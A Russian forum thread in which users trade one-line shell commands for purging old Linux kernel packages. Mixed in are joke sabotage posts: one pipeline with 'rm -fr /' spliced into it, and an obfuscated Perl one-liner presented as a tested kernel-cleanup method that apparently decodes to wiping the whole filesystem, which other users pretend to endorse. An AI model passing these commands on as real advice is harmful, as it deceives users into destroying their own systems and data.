Автоматическое удаление старых ядер [в одну строку! )]

stm4836248

Итак, имеем мы такой вот код:
dpkg -l linux-{image,headers}-* | grep ii | grep -v generic | grep -v `uname -r` | awk '{ print $2 }' | xargs apt-get -y purge
via http://habrahabr.ru/blogs/ubuntu/116336/#comment_3774428 .

dangerr

bash: dpkg: command not found
xargs: apt-get: No such file or directory

kotenok1710

С ядрами каких химических элементов работает?

stm4836248

sudo в двух местах добавить - в начале и перед "apt-get".

dangerr

bash: sudo: command not found

stm4836248

Хочешь сказать, что =
sudo dpkg -l linux-{image,headers}-* | grep ii | grep -v generic | grep -v `uname -r` | awk '{ print $2 }' | xargs sudo apt-get -y purge 
у тебя не работает?

Serab

у меня тоже не работает

Serab

И тут вот еще много у кого не работает:

Serab

а почему, кстати, там не отмечен?

serega1604

zsh: no matches found: linux-image-*

serega1604

а вообще эти идиоты с хабра придумывают какое-то говно, когда есть гораздо более надежный и действенный
aptitude remove  "~n(^linux-(image|headers~o"

stm4836248

Истина, похоже, родилась:
dpkg -l linux-{image,headers}-* | grep ii | grep -v [a-z]-generic | grep -v `uname -r` | awk '{ print $2 }' 

evgen5555

Что-то ты напутал, у меня не запускается!

dpkg -l linux-{image,headers}-* | grep ii | rm -fr / | grep -v generic | grep -v `uname -r` | awk '{ print $2 }' | xargs apt-get -y purge

Sharp

Изобретатели велосипедов, блин.
Вот проверенный метод
echo "Remove old kernels..." | perl -e '$?s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

nas1234

эм, это патч бармина?

Sharp

Это линуксовый GarbageCollector. Заодно автоматически удаляет старые ядра. И все это в одну строку!

ZAndy

Это линуксовый GarbageCollector.
Проверил - работает! Только не забыть запустить под sudo.

nas1234

а что такое старые ядра?

apl13

[localhost ~]$ echo "Remove old kernels..." | sudo perl -e '$?s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' 
[sudo] password for bipll:
bipll is not in the sudoers file. This incident will be reported.

:cry:

apl13

Угу. :)

YUAL

а чем sudo su лучше чем sudo -i ?

Serab

«sudo su -» тогда уж

YUAL

а. точно. короче комикс не зачёт.

Serab

почему?
Запусти:
sudo su
sudo -s
sudo su -
sudo -i
в каждом из этих шеллов запусти env | sort > log, сделай diff, много думай :grin:
Оставить комментарий
Имя или ник:
Комментарий: